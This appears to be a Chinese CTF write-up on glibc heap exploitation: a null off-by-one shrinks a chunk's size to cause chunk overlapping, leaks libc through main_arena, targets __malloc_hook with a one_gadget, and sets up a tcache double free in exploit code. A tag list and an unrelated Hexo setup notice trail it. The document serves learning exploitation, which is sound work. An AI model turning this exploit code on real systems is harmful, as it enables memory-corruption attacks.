我们知道当一个chunk(假设为chunk0)被释放时,他的下一个chunk(如果存在,假设为chunk1)的prev_size为和size位会改变,chunk0的大小改变时,chunk1的prev_size位也会随之改变。但是glibc怎么去定位到chunk1的prev_size位的呢,是通过chunk0的size,如果我们通过null off bu one修改了chunk0的size,比如从0x110修改为0x100,那么chunk1的prev_size就不会被改变,由此我们可以通过unlink来触发向后合并,获得一个更大的chunk,其中会重叠一个allocated chunk。
2 多次利用null off by one 来清除0xda,然后覆盖prev_size,进行chunk overlapping
我们仍然可以利用常规的方法覆盖下一个chunk的prev_size来实现chunk overlapping,但是我们要多次使用null off by one,每次申请的size都比上次的少1,那么我们就可以清空prev_size了
defadd_7_times(size): for i in range(7): add(size,'1111')
defdele_7_times(start,end): for i in range(start,end+1): dele(i)
defq(): gdb.attach(p) raw_input('test')
#Because we will use chunks of size 0x90 and 0x110 multiple times below, so apply them first in the tcache. add_7_times(0x80)#0-6 dele_7_times(0,6) add_7_times(0x100)#0-6 add(0x108, '7777') #7 chunkA add(0x100, '8888') #8 chunkB add(0x100, '9999') #9 chunkC dele_7_times(0,6)
dele(8) dele(7)#chunk7 and chunk8 will be merged in unsortedbin
add_7_times(0x100)#0-6 add(0x108,'7'*0x108)#7 The size of chunkB will be overwritten by the original 0x110 to 0x100 dele_7_times(0,6)
add_7_times(0x80)#0-6 add(0x80,'8888')#8 chunkb1 Because the size bit of chunkB is changed, gibc cannot correctly locate the prev_size bit of chunkC, so the prev_size bit of chunkC will not change dele_7_times(0,6)
add(0x60,'0000')#0 chunkb2 dele(8)#delete chunkb1 dele(9)#delete chunkC #At this time, the prev_size of chunkC is 0x110, triggering the backward merge, and the chunk memory of chunkB to chunkC will be released
add_7_times(0x80)#1-6 8 add(0x80,'9999')#9 Redistribute chunk1,At this time, topchunk and chunkb2 are overlapping dele_7_times(1,6) dele(8)
add(0x500,'1111')#1 add(0x200,'2222')#2 Prevent triggering merge with topchunk
dele(1)# &main_arena+88 will be written in the fd and bk show(0)# show chunkb2's data will also show chunk1's data main_arena_88 = u64(p.recv(6).ljust(8, '\x00')) libc_base = main_arena_88 - 0x3EBC40-88-8 log.info('libc_base:' +hex(libc_base)) malloc_hook = libc_base+libc.symbols['__malloc_hook'] one_gadget = libc_base + 0x4f322
add(0x200,'1111')#1 #Both chunk0 and chunk1 point to the same heap memory dele(0)#put into the 0x210 tcache dele(1)#put into the 0x210 tcache again,double free
unlinkfastbin attackHouse of spiritHouse of ForceUAFDynELFPIEformat stringoff by onex6464bit格式化字符串漏洞栈溢出Canarytcachelibc-2.29chunk overlappingchunk extendshellcode,系统调用libc2.29stack overflowfmtrop2016,CTFs,fsbCTFstack pivotingOSpwnablefsb
缺失模块。
1、请确保node版本大于6.2
2、在博客根目录(注意不是archer根目录)执行以下命令: npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置: